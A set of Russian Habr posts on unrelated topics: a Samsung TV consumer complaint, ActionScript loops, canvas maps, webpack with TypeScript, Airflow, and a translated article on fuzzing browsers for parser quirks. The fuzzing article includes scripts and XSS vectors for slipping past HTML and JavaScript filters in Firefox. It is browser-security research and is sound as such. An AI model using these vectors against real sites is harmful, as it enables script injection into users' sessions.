Проверьте телевизор на наличие описанного дефекта — потеря качества FULL HD 3D изображения в режиме 3D. И если ваш телевизор тоже имеет этот дефект, пожалуйста, позвоните в Samsung или напишите им электронное письмо, спросите, почему телевизор не показывает 3D в разрешении FULL HD.
Также прочитайте Закон о защите прав потребителей в вашей стране… В большинстве современных стран покупатель, возможно, может выбирать из следующих вариантов в случае неисправности телевизора:
* Вы можете **вернуть устройство** и вернуть деньги полностью.
* Вы можете **получить бесплатное обновление** до D7000 серии, которая имеет Full HD 3D.
* Вы можете потребовать уменьшения цены из-за дефекта. Как если бы вы хотели вернуть разницу в цене между D5000 / D6000.
##### В России
Телевизоры входят в [перечень технически сложных товаров](http://www.rg.ru/2011/11/16/slojtovary-dok.html).
**По [Закону о защите прав потребителя (ст. 18)](http://www.consultant.ru/popular/consumerism/37_2.html#p313):**
В отношении технически сложного товара потребитель в случае обнаружения в нем недостатков вправе отказаться от исполнения договора купли-продажи и потребовать возврата уплаченной за такой товар суммы либо предъявить требование о его замене на товар этой же марки (модели, артикула) или на такой же товар другой марки (модели, артикула) с соответствующим перерасчетом покупной цены в течение пятнадцати дней со дня передачи потребителю такого товара. По истечении этого срока указанные требования подлежат удовлетворению в одном из следующих случаев:
* обнаружение **существенного недостатка** товара;
* нарушение установленных настоящим Законом **сроков устранения недостатков** товара;
* невозможность использования товара в течение каждого года гарантийного срока в совокупности более чем тридцать дней **вследствие неоднократного устранения его различных недостатков**.
Samsung «должен» принять выбор покупателя — нет другого выхода…
В некоторых странах, вы можете вернуть телевизор и вернуть уплаченную за него сумму **даже после того, как истек гарантийный период** на соответствующий тип дефекта.
#### Каково Мнение Samsung?
Как и сообщество SamyGO, мы также отправили письма о проблеме некоторым менеджерам Samsung напрямую, и спросили решения этой проблемы.
Мы ждем ответа на вопрос от Samsung несколько недель. Но они предпочитают молчать. Я не понимаю, почему такая компания быстро не обратилась к нам и не сказала что-нибудь о такой большой проблеме.
Лично я считаю, что они хотели прикрыть ситуацию. Но мы будем поднимать этот вопрос, и **пытаться защитить права потребителей!**
Мы опубликуем ответ от Samsung здесь и в SamyGO форуме, если они решат ответить…
#### Samsung-Германия признал наличие дефекта
В последнее время появились вести о телевизорах, которые не могут показывать Full HD. Samsung в Германии решил возвращать 150 € за неисправный телевизор ([на немецком языке](http://mydealz.de/17745/genial-150e-kulanzgutschrift-von-samsung-fuer-die-uexxd6xx0-serie-wegen-falscher-werbeaussage) или использовать [английская версия](http://translate.google.com/translate?sl=auto&tl=en&js=n&prev=_t&hl=en&ie=UTF-8&layout=2&eotf=1&u=http%3A%2F%2Fwww.mydealz.de%2F17745%2Fgenial-150e-kulanzgutschrift-von-samsung-fuer-die-uexxd6xx0-serie-wegen-falscher-werbeaussage%2F)). Это слишком мало для такого дефекта, но лучше чем ничего. Samsung Global пока не проронил ни одного слова об этой ситуации. Так и не ответили на наши письма.
#### Дополнение
**В дополнение прилагаю фотографии моего телевизора при отображении тестовых картинок.**
На картинках: слева — 2D, справа — 3D режим.
Хорошо видно искажение на маленьких буквах — в 3D их не разобрать.
[](http://www.ljplus.ru/img4/r/3/r3code/UE37D6100SW_2Dn3D.jpg)
Смотрим ближе, ступеньки в 3D справа отчетливо видны
[](http://www.ljplus.ru/img4/r/3/r3code/UE37D6100SW_2Dvs3D_close.jpg)
Я обратился в техподдержку Samsung Россия с этой проблемой.
**Ответ Samsung от 6 июня 2012**
> Вас приветствует Единая служба поддержки Самсунг Электроникс Россия.
>
> Благодарим Вас за интерес к продукции Самсунг.
>
> Номер Вашего запроса 2109356100 Просим Вас указывать его когда Вы будете
>
> обращаться к нам в дальнейшем.
>
>
>
> По внутреннему стандарту компании Samsung, телевизоры 6 серии называются FullHD 3D, т.к. воспроизводят подаваемый на него Full HD 3D контент, в режиме 3D c разрешением FullHD. Телевизоры данной серии поддерживают режим 3D Full HD (т.е. абсолютно идентичны всем старшим телевизорам серий D7000, D8000), но некоторые отличия в качестве изображения обусловлены различиями в обработке сигналов технологиях у различных серий телевизоров. Т.е. качество обработки сигнала зависит от производительности процессора, и в более дорогом телевизоре установлен более производительный процессор.
>
>
>
> Если у Вас в дальнейшем возникнут вопросы, Вы можете задать их нам по
>
> телефону 8-800-555-55-55 (бесплатный звонок из любого региона России)
>
> или воспользоваться возможностью отправки нам письма по электронной
>
> почте с помощью раздела «Контакты» на нашем веб-сайте [www.samsung.com](http://www.samsung.com).
>
>
>
> С уважением
>
>
>
> Единая служба поддержки
>
> Самсунг Электроникс Россия
>
>
Это смахивает на двойные стандарты, для дорогих телевизоров полный Full HD 3D, а для менее дорогих чуть-чуть Full HD 3D.
**Подскажите, что ответить на это поддержке?**
UPD 07.06.12 — На сайте SAMSUNG перестала работать форма обращения в техподдержку по E-Mail.
**P.S. Прошу вас высказать замечания/уточнения к переводу.**
Немного поправил перевод, сделав более читаемым. | https://habr.com/ru/post/145249/ | null | ru | null |
# Заметка по for each и for in в ActionScript 3
Был неприятно удивлен таким прискорбным фактом, что работают данные конструкции весьма своеобразно и непредсказуемо.
Есть массив начинающийся не с 0, а например 2:
`2 => object ;
3 => string;
4 => object;`
Так вот перебор с помощью конструкций *for each* и *for in* такого массива начнется, правильно с 4 :). Вернее не факт, что в следующий раз с 4 может конечно и с 3 начать(хотя есть смутные подозрение, что закономерность есть !). В общем, как ему захочется.
Как объяснили знающие люди, это все зависит от последовательности заполнения массива. Хотя массив у меня заполнялся весьма последовательно.
В итоге вернулся к старому доброму *for*
Осадочек остался однако.
З.Ы. в regexp конструкции */\bкириллица\b/* работать не будет. С латинским алфавитом \b работает.
З.Ы.Ы если взять массив с начальным ключем 0 то перебор всегда идет упорядоченный.
UPD
Уважаемый юзер [pixelcube](https://geektimes.ru/users/pixelcube/) объяснил в комментариях в чем хитрость. | https://habr.com/ru/post/52136/ | null | ru | null |
# Отрисовка карт с условными координатами
Продолжаю изучать JS, параллельно решая практические задачи, и с некоторыми решениями есть непреодолимое желание поделиться с сообществом, как говориться — хоть чуть чуть но должок вернуть.
В прошлой своей [статье](https://habrahabr.ru/post/303834/) я рассказал про построение простых графиков с помощью библиотеки d3, с ее же помощью планировал отрисовывать и карты, но поэкспериментировав с d3, Raphael и paper.js понял что велосипедостроения избежать не удастся и переделал отрисовку на HTML Canvas, о чем и хочу рассказать в данной статье.
На самом деле карты — это конечно же слишком громко сказано, т.к. самих карт как таковых то и нет. Задача такая — отрисовывать по координатам точечные объекты и контуры. Рисование контуров я оставлю за рамками этой статьи и расскажу о банальной в общем то (как мне казалась раньше) задаче — выводе точек по координатам.
Первая мысль была — конечно же воспользоваться готовой картографической библиотекой (еще даже до плотного знакомства с d3 ставил с ними опыты). Сложностей было две, первое — условные координаты и второе — большое количество объектов (до 10 тыс. точек на карту). И если с условными координатами leaflet.js справился то отображение на нем огромного количества точек в рамках одной карты показал что нужно смотреть в другую сторону.
Следующая библиотека была d3, но еще раз изучив примеры связанные с картографией, понял что первое во что я уткнусь это быстродействие.
Следующим был Raphael.js — прекрасная графическая библиотека и в сравнении с той же d3 очень простая и понятная (простая в смысле простоты использования). На Рафаэле я реализовал практически все что мне было нужно, плюс сама библиотека предоставляла огромное количество плюшек и удобств, и будь у меня задачи немного другие пользовался бы Рафаэлем и радовался. Но снова уткнувшись в ограничения и мельком попробовав paper.js перешел к чистому HTML canvas. Правда к этому времени я переписал уже практически все и для того чтобы перейти с Рафаэля на канвас пришлось заменить максимум с десяток строчек в коде.
Ну хватит со вступлениями, перехожу к реализации. Первое что нам нужно для эффективного отображения карты это иметь собственный Viewport ([википедия](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D1%80%D1%82_%D0%BF%D1%80%D0%BE%D1%81%D0%BC%D0%BE%D1%82%D1%80%D0%B0) переводит этот термин как Порт просмотра, что мне кажется корявым, потому буду писать дальше как вьюпорт). Термин этот пришел пришел из 3Д, а так же активно используется в 2Д играх и означает в нашем случае отображение только той части карты, который мы хотим увидеть.
Снова я решил не изобретать велосипед и взять какую-нибудь готовую абстрактную реализацию вьюпорта для 2Д и прикрутить к своим картам. Полдня потратив на активные поиски и так ничего подходящего и не нашел, что до сих пор немного удивляет. Зато теперь у меня собственная полностью абстрактная реализация 2Д вьюпорта — будет с чего начинать если вдруг приспичит собственную игрушку написать без использования фреймворков.
Вот так выглядит вьюпорт (Чтобы не загромождать статью, даю выжимку кода, который целиком можно будет посмотреть на Гитхабе по ссылке в конце статьи).
```
class Viewport {
constructor(param) {
this.updateCallback = param.update;
this.size = param.size;
this.map = param.map;
...
};
set Center(koordXY) { ... };
get Center() { ... };
set Zoom(zoomXY) { ... };
get Zoom() { ... };
set Size(sizeWH) { ... };
get Size() { ... };
show() {
this.vp = {
x1: this.vX,
x2: this.vX + this.size.w / this.zoom.x,
y1: this.vY,
y2: this.vY + this.size.h / this.zoom.y,
zX: this.zoom.x,
zY: this.zoom.y
};
this.updateCallback(this.vp);
};
caclViewPort() { ... };
calcCenter() { ... };
calcMaxZoom() { ... };
};
```
В принципе, реализация совершенна проста — создается экземпляр класса Viewport, в который передаются его размеры, пограничные координаты карты и каллбак-функция, которая будет вызываться для отрисовки вьюпорта. В эту функцию передаются граничные координаты в рамках которых нужно отобразить объекты и по множителю на каждую ось для преобразования координат. В случае карты масштабы осей совпадают и эти множители равны.
Ну вот, самое главное и сложное реализовано — а в остальном уже все просто:
```
class XyMap {
constructor(container) {
this.container = (typeof container === 'string') ? document.getElementById(container) : container;
...
this.objects = []; //{ id: 1, caption: 'Obj1', type: 'circe', x: 0, y: 0, r: 5, color: 'red' }
this.viewPort = null;
};
//add object for draw to array
add(obj) { ... };
init() {
let id = this.container.id +'_canvas';
this.container.innerHTML = ``;
this.canvas = document.getElementById(id);
this.viewPort = new Viewport({
update: (vp) => { this.drawViewport(vp); },
size: { w: this.container.offsetWidth-1, h: this.container.offsetHeight-1},
map: this.limit,
oneZoom: true
});
this.handleEvent = function(ev) {
switch(ev.type) {
case 'mousedown':
...
case 'mousemove':
...
case 'mouseup':
...
case 'wheel':
...
}
};
...
};
scroll(x, y) { ... };
show() { this.viewPort.show(); };
zoomIn(value) {
...
this.viewPort.Zoom = z;
this.viewPort.show();
};
zoomOut(value) {
...
this.viewPort.Zoom = z;
this.viewPort.show();
};
//callback for viewport vp = { x1, x2, y1, y2, zX, zY }
drawViewport(vp) {
let x,y,obj,objT;
let other = this;
let ctx = this.canvas.getContext('2d');
let pi2 = Math.PI*2;
ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
this.objects.filter(d => d.x>=vp.x1 && d.x<=vp.x2 && d.y>=vp.y1 && d.y<=vp.y2).forEach(function(d) {
x = (d.x - vp.x1) * vp.zX; y = (d.y - vp.y1) * vp.zY;
if (d.type === 'circe') {
ctx.beginPath();
ctx.arc(x,y,d.r,0,pi2);
ctx.fillStyle = d.color;
ctx.fill();
ctx.lineWidth = 0.5;
ctx.strokeStyle = 'black';
ctx.stroke();
ctx.fillStyle = 'black';
ctx.font = '8pt arial';
ctx.fillText(d.caption, x-20, y-9);
};
});
};
};
```
Создаем экземпляр класса XyMap, методом add передаем ему объекты для отрисовки, после чего вызываем инициализацию в процессе которой создается вьюпорт. После этого вызываем метод show — и вуаля, карта у нас на экране.
Вот собственно и все, извиняюсь за затянутое вступление и скомканную основную часть статьи — рассказал как смог. Одна надежда, что получившийся код все же читаем и говорит сам за себя.
Саму программу и пример использования можно посмотреть на [Гитхабе](https://github.com/MaximPetrichuk/xyMap).
**UPD.**: Онлайн пример в [JS-песочнице](https://jsfiddle.net/Petrichuk/qcg1k6ev).
**UPD 2.**: Доработал компонент: появились слои, объекты теперь можно выбирать как по клику так и извне компонента по Id, для пространственного поиска используются [R-деревья](https://ru.wikipedia.org/wiki/R-%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%BE_(%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85)) (JS библиотека [RBush](https://github.com/mourner/rbush) ). | https://habr.com/ru/post/317024/ | null | ru | null |
# TypeScript для конфигурации WebPack (FE and BE)
### Легенда
Когда проект зародился, то нравился каждому. Белый лист бумаги и каждый смотрел на него с ожиданием и воображал какие перспективы откроются, какие проблемы решатся.
Вот на бумагу архитектор нанес первый блок. Сзади раздалась ругань. Это разработчики, спорили: Как лучше стартовать новый сервис и какой стартер выбрать.
У архитектора по спине пронесся холодок. Не успела сложиться архитектура даже для Proof Of Concept, не то что для Minimal Valuable Product, но уже возникли препятствия. Выбор стартера наложит пока не очевидные рамки.
Одно было ясно, сборщик будет использоваться. Архитектор подошел к Team Lead и попросил использовать WebPack и чистый проект без стартера, так как по прошлым проектам с ним в той или иной мере знакомы разработчикам.
### Мотивация
Каждый кто в 2020 использовал браузер - пользовался результатами сборки с помощью WebPack.
Среди разработчиков некоторые добавляли обработчик для специальных файлов или плагин для нужд проекта или использовали уже готовую конфигурацию, например в create-react-app.
Задач много и помнить параметры конфигурации смысла нет. Структура и часто используемые настройки сами отложатся в голове.
Готовые плагины и loader's сильно облегчают работу, задача на 95% заключается в прочтении первой страницы документации, чтобы сконфигурировать под конкретный проект. Даже в таком случае ошибки в синтаксисе случаются. Мало кто сходу вспомнит `devtool` или `devtools`. Некоторые директивы относились к другой версии WebPack. Учет этого будет полезным положить на плечи TypeScript.
Пару лет назад мне не хватало подробного описания такой настройки, а на сайте самого WebPack только короткое описание: [вот ссылка](https://webpack.js.org/configuration/configuration-languages/#typescript).
### Особенности проекта в статье
В проекте для статьи нет цели написать всеобъемлющий мануал по настройке, будет базовый пример для backend и frontend.
Cервер будет отдавать статическую директорию с FE для нашего сайта. Сам же FE будет только выводить на страницу `Hello World!`. Зависимостями для BE будет `node`, для сборки `webpack`.
GitHub: [тут](https://github.com/shaltaev/webpack-with-config-on-typescript)
Структура директорий c описанием
Для удобства демонстрации я буду использовать моно-репозиторий с server и web*app в одном проекте*
* *~/project*folder/ # Корень проекта -- инициализирован с помощью `yarn init`
+ /apps # директория приложений
- /server # директория backend -- инициализирована с помощью `yarn init`
* /src # исходный код сервера
* файлы конфигурации (части относящиеся к BE)
- /web*app # директория frontend -- инициализирована с помощью* `yarn init`
* */src # исходный код браузерного приложения*
* *файлы конфигурации (части относящиеся к FE)*
- */*utils # расширенные утилиты
+ общие части конфигурации
Зависимости проекта
* Общие в директории `~/project_folder`
```
yarn add -D @types/node @types/webpack concurrently cross-env nodemon ts-loader ts-node typescript webpack webpack-cli
```
* Для сервера в директории `/apps/server` нам не понадобится дополнительных зависимостей помимо тех что есть в общей директории
* Для веб-приложения в директории `/apps/web_app` нам понадобится `html-webpack-plugin` 5 версии так как он предназначен для использования с WebPack 5 версии. На Момент написания этот пакет еще в beta доступе.
```
cd apps/web_app
yarn add -D html-webpack-plugin@5
```
### Настройки TypeScript
Браузер, server, и компьютер разработчика или runner - это три среды с личными особенностями:
Для сервера главное, node с помощью которой будет выполняться итоговый скрипт сервера. Что доступно в зависимости от версии наглядно показывается по ссылке: <https://node.green>
Конкретная настройка сервера `apps/server/tsconfig.json` не влияет на сборку, главное в конфигурации webpack указать правильный путь до файла для сборки сервера.
Для браузера, на конец 2020, лучше выбирать ES6 если нет задачи поддерживать Internet Explorer 11. Хороший сайт для проверки доступных функций: <https://caniuse.com>
Файл: `apps/web_app/tsconfig.json`
Компьютер разработчика или runner где будет собираться проект тоже накладывает ограничения, которые в большинстве ситуаций легко устранимы. Для запуска также понадобится конфигурация TS, она будет использоваться `ts-node` который будет запускаться под капотом webpack.
tsconfig.json
```
"compilerOptions": {
"module": "commonjs",
"target": "es5",
"esModuleInterop": true
}
```
Данный файл обязателен и частью для запуска самого webpack с конфигурацией написанной на typescript
### Серверное приложение
Сервер для данной статьи предельно прост, раздачей файлов из одной папки. Код является копией статьи ([ссылка](https://nodejs.org/en/knowledge/HTTP/servers/how-to-serve-static-files/)) с сайта node, адаптированный под этот проект и с защитой от доступа к родительским папкам `..\..\secret` в запрошенных файлах.
apps/server/src/index.ts
```
import { resolve, normalize, join } from 'path'
import { createServer, RequestListener} from 'http'
import { readFile } from 'fs'
const webAppBasePath = '../web_app'; // Это путь до папки уже после build (в директории dist)
const handleWebApp: RequestListener = (req, res) => {
const resolvedBase = resolve(__dirname ,webAppBasePath);
const safeSuffix = normalize(req.url || '')
.replace(/^(\.\.[\/\\])+/, '');
const fileLocation = join(resolvedBase, safeSuffix);
readFile(fileLocation, function(err, data) {
if (err) {
res.writeHead(404, 'Not Found');
res.write('404: File Not Found!');
return res.end();
}
res.statusCode = 200;
res.write(data);
return res.end();
});
};
const httpServer = createServer(handleWebApp)
httpServer.listen("5000", () => {
console.info('Listen on 5000 port')
})
```
### Frontend приложение
Web приложение также предельно простое. В `document.body` монтируется простой `Hello world!`
apps/web\_app/src/index.ts
```
const rootNode = document.createElement('div')
rootNode.setAttribute('id', 'root')
rootNode.innerText = 'Hello World!'
document.body.appendChild(rootNode)
```
### Настройка WebPack
*Теперь нам осталось только настроить webpack.*
*Для удобства конфигурацию можно разбить на файлы. А так как мы используем TS, то мы получаем синтаксис* `import {serverConfig} from "./apps/server/webpack.part";` из-за этого основной файл становится предельно коротким.
webpack.config.ts
```
import {serverConfig} from "./apps/server/webpack.part";
import {webAppConfig} from "./apps/web_app/webpack.part";
import {commonConfig} from "./webpack.common";
export default [
/** server **/ {...commonConfig, ...serverConfig},
/** web_app **/ {...commonConfig, ...webAppConfig},
]
```
*В нем мы только импортируем конфигурации и экспортируем их в виде массива попутно объединяя с общей частью.*
*Общая часть*
*Общая часть может содержать все что можно переиспользовать между различными конфигурациями. В нашем случае это поля* `mode` и `resolve`. Обратите внимание, что у константы объявлена типизация `const commonConfig: Configuration`, тип взят из `import {Configuration} from "webpack";`.
webpack.common.ts
```
import {Configuration, RuleSetRule} from "webpack";
import {isDev} from "./apps/_utils";
export const tsRuleBase: RuleSetRule = {
test: /\.ts$/i,
loader: 'ts-loader',
}
export const commonConfig: Configuration = {
mode: isDev ? 'development' : 'production',
resolve: {
extensions: ['.tsx', '.ts', '.js', '.json'],
},
}
```
*Также в этом файле лежит общая для проекта часть настройки правила для загрузки TS файлов* `const tsRuleBase: RuleSetRule`, тип взят из `import {RuleSetRule} from "webpack";`.
`isDev` это простая проверка `isDev = process.env.NODE_ENV === 'development'`
*Конфигурация FE и BE*
*Тут уже все максимально похоже на простую настройку webpack, только с подсказками благодаря типизации* `import {Configuration, RuleSetRule, WebpackPluginInstance} from "webpack";`
*Обратите внимание на* `WatchIgnorePlugin` так как благодаря нему можно исключить какие-то файлы и директории и при изменениях в них не будет перекомпиляции.
apps/server/webpack.part.ts
```
import {Configuration, RuleSetRule, WatchIgnorePlugin, WebpackPluginInstance} from "webpack";
import {join} from "path";
import {tsRuleBase} from "../../webpack.common";
const serverPlugins: WebpackPluginInstance[] = [
new WatchIgnorePlugin({
paths: [join(__dirname, '..', 'apps', 'web_app')]
})
]
const tsRuleServer: RuleSetRule = {
...tsRuleBase,
options: {
configFile: join(__dirname, 'tsconfig.json')
}
}
export const serverConfig: Configuration = {
entry: join(__dirname, 'src', 'index.ts'),
output: {
path: join(__dirname, '..', '..', 'dist', 'server'),
filename: 'server.js'
},
target: 'node',
plugins: serverPlugins,
module: {
rules: [tsRuleServer]
}
}
```
apps/web\_app/webpack.part.ts
```
import {Configuration, RuleSetRule, WatchIgnorePlugin, WebpackPluginInstance} from "webpack";
import HtmlWebpackPlugin from "html-webpack-plugin";
import {join} from "path";
import {tsRuleBase} from "../../webpack.common";
const webAppPlugins: WebpackPluginInstance[] = [
new HtmlWebpackPlugin(),
new WatchIgnorePlugin({
paths: [join(__dirname, '..', 'apps', 'server')]
})
]
const tsRuleWebApp: RuleSetRule = {
...tsRuleBase,
options: {
configFile: join(__dirname, 'tsconfig.json')
}
}
export const webAppConfig: Configuration = {
entry: join(__dirname, 'src', 'index.ts'),
output: {
path: join(__dirname, '..', '..', 'dist', 'web_app'),
filename: 'bundle.js'
},
target: 'web',
plugins: webAppPlugins,
module: {
rules: [tsRuleWebApp]
}
}
```
Один из интересный моментов - это указание пути до файла конфигурации для `ts-loader`, выглядит это так `configFile: join(__dirname, 'tsconfig.json')`. Так как `__dirname` в каждом случае различен. То в случае backend все компилируется в целевую версию EcmaScript esnext, а для frontend в es6.
### Заключение
Весь код приведенный в статье публикуется под "UNLICENSE". Что также указано в репозитории Github: [тут](https://github.com/shaltaev/webpack-with-config-on-typescript).
Использование в проектах конфигурации через TS - это конечно не бизнес фича. Но привносит комфорт в процесс настройки. На небольших проектах это не так заметно, но если вы например используете micro-frontend c помощью `ModuleFederationPlugin`, то количество файлов конфигурации webpack растет с каждым микро-приложением и комфорт при настройке становится важен, тем более что время затраченное на именно TS тут минимальное.
PS. Хотелось бы узнать будет ли вам интересна настройка разработки через разворачивание в docker (для VSCode и JetBrains) | https://habr.com/ru/post/535734/ | null | ru | null |
# Провоцирование сбоев браузера при помощи поведенческого фаззинга
В этой статье я расскажу вам, как я использовал фаззинг, чтобы найти несколько сбоев в Firefox. Обычно целью фаззинга является нахождение сбоя, указывающего на повреждение памяти, но моя цель заключается в другом: я хочу обнаружить неожиданную реакцию браузера. Это могут быть символы, которые открывают или закрывают необычный тег, или, возможно, символы, которые игнорируются парсером JavaScript. Такое неожиданная реакция часто может быть использована для проведения XSS-атак, минуя фильтры безопасности и избегая песочницы JavaScript.
Первая ошибка, о которой я хочу поговорить — это как закрыть HTML-комментарий по-другому. Если Вы читали спецификацию HTML, вы знаете, что комментарий можно закрыть с помощью --> или --!>. А как же сделать это иначе? Отличный вопрос для начала фаззинга! Вам просто нужно сгенерировать код, который даст ответ.
Еще в 2008 году, когда я собрал [Shazzer](http://shazzer.co.uk/home) для фаззинга поведения браузера, я был ограничен примерно 10 000 направлениями на страницу. Сегодня, в 2019 году все работает быстрее, поэтому мы можем фаззить намного чаще. Кроме того, использование DOM ускоряет фаззинг, потому что вам больше не нужно добавлять каждое направление к текущему документу. Стоит отметить, что это ненадежный подход, поскольку вы можете получить разные результаты. Действительно, я нашел случаи, когда DOM допускает пустые значения (NULL) в аргументах атрибутов, таких как href, но парсер HTML так не делает. Это все еще некритичные сбои, но вы не всегда можете доверять результатам, чтобы получить полное представление о том, что будет делать парсер HTML. Однако в большинстве случаев он работает, и это гораздо быстрее, чем вывод HTML с серверной стороны.
Первый шаг уже сделан — у нас есть вопрос: «Какие символы могут закрыть HTML-комментарий?». Чтобы ответить на него, нам нужно использовать существующие символы, которые закроют HTML-комментарий и фаззить символы, которые мы не знаем. Следующий шаг — использование соответствующих программ для фаззинга. В моем случае я использую свой инструмент [Hackvertor](https://hackvertor.co.uk/public), но с помощью локального веб-сервера можно добиться тех же результатов. Идея этого инструмента заключается в том, чтобы поместить вводимые данные в поле ввода, немного преобразовать теги и сделать что-то с выводом. Так как нам нечего конвертировать, мы можем поместить наш код непосредственно в поле вывода. Поэтому нажмите на область вывода текста и создайте массив для хранения отфаззенных символов и элемент div для тестирования HTML:
```
log = [];
div=document.createElement('div');
```
Затем нам нужно отфаззить более 1000000 символов Юникода или, точнее, 0x10ffff. Простой цикл for – это все, что нам нужно:
```
for(i=0;i<=0x10ffff;i++){
```
Затем мы повторно используем элемент div, который мы создали для каждого символа. В этом случае я тестирую позицию после !, так что символ будет введен после!.. Затем я использую элемент img, чтобы увидеть, был ли фаззинг успешным. Если этот элемент существует, то HTML-комментарий был закрыт, и у нас есть некоторые интересные символы!
```
div.innerHTML = '';
```
Наконец, с помощью querySelector мы проверяем, существует ли img и добавляем символы в логи. Затем я закрываю оператор if и цикл for. Наконец, ввожу результаты в поле ввода слева:
```
if(div.querySelector('img')){
log.push(i);
}
}
input.value=log
```
Вот [полная версия](https://hackvertor.co.uk/public#bG9nPVtdOwpkaXY9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7CmZvcihpPTA7aTw9MHgxMGZmZmY7aSsrKXsKIGRpdi5pbm5lckhUTUwgPSAnPCEtLSAtLSEnK1N0cmluZy5mcm9tQ29kZVBvaW50KGkpKyc+PGltZz4tLT4nOyAKaWYoZGl2LnF1ZXJ5U2VsZWN0b3IoJ2ltZycpKXsKIGxvZy5wdXNoKGkpOwogfQp9IAppbnB1dC5) кода. Вам нужно открыть URL в Firefox, а затем поместить вводимые символы в поле вывода и нажать кнопку «Execute JS», чтобы фаззировать символы. После завершения фаззинга вы должны увидеть цифры в поле ввода, они соответствуют кодам символов, которые были успешными. На момент написания материала Firefox (версия 67) все еще допускает новые символы строки — \n и \r — после!, чтобы закрыть комментарий. Мне сообщили, что это исправлено в будущих версиях Firefox. Итак, последний этап фаззинга заключается в сборке вашей полезной нагрузки, это довольно просто. Вам нужно заменить код символа символом и добавить полезную нагрузку XSS:
Вы можете снова использовать Hackvertor для проверки его работы, вставив вышеуказанное в поле вывода, а затем нажав «Test HTML». Должно появиться окно предупреждения, потому что Firefox (версия 67) разрешает новую строку как часть заключительного комментария.
Так что это позволило нам найти некритичную ошибку в парсере HTML Firefox. Давайте найдем ещё одну! Нам нужен новый вопрос: «Какие символы могут открыть HTML-комментарий?». Вместо того, чтобы выйти за рамки существующего HTML-комментария, мы теперь будем использовать HTML-комментарий, чтобы выйти за рамки существующего атрибута HTML. Как я уверен, вы все знаете, что можно открыть HTML-комментарий с
Таким образом, символ, который мы фаззим, будет находиться после первого дефиса. Если символ успешно создает открывающий HTML-комментарий, он будет комментировать элемент div и, таким образом, выходить из атрибута title. На этот раз, когда мы запускаем «Execute JS», получаем два результата в Firefox (версия 67): «0,45». Код 45 ожидаем, потому что это символ дефиса, но 0 является NULL символом! Это означает, что Firefox интерпретирует последовательность
```
document.body.innerHTML = '';
```
Давайте перейдем на JavaScript вместо HTML. Я протестировал каждый браузер, и мне жаль Mozilla, но Firefox снова творит какую-то дичь. Я вдохновился тем, что фаззинг из [твита jinmo123](https://twitter.com/jinmo123/status/1128973541238484992) использует новые интересные фичи ES6 для вызова функций без скобок. Вопрос, который я придумал для фаззинга, был: «какие символы разрешены после операторов in или instanceof?». Затем мы снова создаем код в Hackvertor, он следует аналогичному шаблону, но на этот раз не использует DOM. Сначала создаем массив и цикл for:
```
log = [];
for(i=0;i<=0x10ffff;i++){
```
Тогда мы будем использовать eval вместо innerHTML для фаззинга наших значений. Сначала нам нужно использовать блок try catch, чтобы обнаружить любые исключения, вызванные недопустимыми символами.
```
try{
eval("/a/"+String.fromCodePoint(i)+"instanceof function(){}");
```
Функция eval используется, чтобы увидеть, является ли наш JavaScript допустимым. Если да, то она перейдет к следующей строке, если нет, выдаст исключение, которое будет замечено, а затем перейдет к следующему символу. Следующая строка просто регистрирует символ, а потом закрывает блок try catch и цикл for. Затем функция выводит результаты в поле ввода.
```
log.push(i);
}catch(e){}
}
input.value=log
```
Если вы запустите этот код с помощью «Execute JS», вы получите кучу результатов! Firefox игнорирует множество символов. Если вы попробуете код на Chrome, вы получите более разумные результаты. Найдите код символа в поле ввода, который вы хотите использовать, в моем случае это было «1114110» или «0x10fffe» в hex. Теперь мы создадим наш вектор JavaScript:
```
eval("1337"+String.fromCodePoint(1114110)+"in"+String.fromCodePoint(1114110)+"alert(1337)");
```
Вы также можете представить его внутри скрипта SVG:
На [**DEDIC.SH**](https://dedic.sh/?utm_source=habrahabr&utm_medium=widget&utm_content=455602) доступны новейшие двухпроцессорные конфигурации выделенных серверов с процессорами Intel Scalable 2019 года:
* 2x Xeon Silver 4214 — суммарно 24 ядра
* 2x Xeon Gold 5218 — суммарно 32 ядра
* 2x Xeon Gold 6240 — конфигурация с 36 ядрами.
Стоимость сервера с двумя Xeon Silver 4214 — [**от 15210 руб/мес**](https://dedic.sh/?utm_source=habrahabr&utm_medium=widget&utm_content=455602)
Так же мы готовы собрать для Вас **любую конфигурацию** — **[напишите нам](mailto:habr@dedic.sh)**!
Если большие мощности выделенного сервера не требуются — **[VDS от 150 руб/мес](https://vds.sh/ru/?utm_source=habrahabr&utm_medium=widget&utm_content=454614)** — то, что вам нужно! | https://habr.com/ru/post/455602/ | null | ru | null |
# Паранормальная сокращалка урлов: «TO.»
Вот такой у неё удивительный адрес: **[http://to./](http://to/)**
~~Например, вот такой урл переадресовывал на этот пост: [http://to./стёрто](#)~~
Похоже, там лимит на количество переходов для одного линка, а также маленькое время жизни застолбленного имени — постоянно происходят перехваты.
Всё по-честному, домен первого уровня:
`C:\Users\User>nslookup to
Имя: to
Address: 216.74.32.103`
Работает как минимум в chrome и firefox, остальные просто не проверял. | https://habr.com/ru/post/75967/ | null | ru | null |
# Проектирование Data Pipelines в Apache Airflow
Привет, Хабр! Меня зовут Рустем, являюсь Senior DevOps Engineer в компании IBM.
Сегодня я хотел бы познакомить вас с важным инструментом в методологии DataOps, а именно Apache Airflow и проектирование Data Pipelines (Конвейеры данных).
Эта статья будет посвящена краткому введению в Airflow и шагов по созданию и настройке конвейеров данных (Data Pipelines). Сначала мы установим и сконфигурируем Airflow. Затем рассмотрим практический пример создания и запуска DAG в Airflow. Сегодняшней нашей целью является практическое понимание развертывания Airflow и базовой разработки DAG.
#### Немного про DataOps
Методология DataOps предназначена для того, чтобы позволить организации использовать повторяющийся процесс для создания и развертывания аналитики и конвейеров данных. Следуя методам управления данными и моделями, они могут предоставлять высококачественные корпоративные данные для применения их AI.
Иными словами, практика DataOps позволяет перенести опыт DevOps на управление данными и аналитику. Практика показывает, что эффективное развертывание DataOps ускоряет вывод аналитических решений на рынок, повышает качество данных и их соответствие нормативным требованиям, а также сокращает затраты на управление данными.
#### Немного про AirFlow
На этом шаге мы установим пакет Apache Airflow Python в своей среде и инициализируем конфигурацию.
Установим пакет Airflow, выполнив следующую команду в терминале:
```
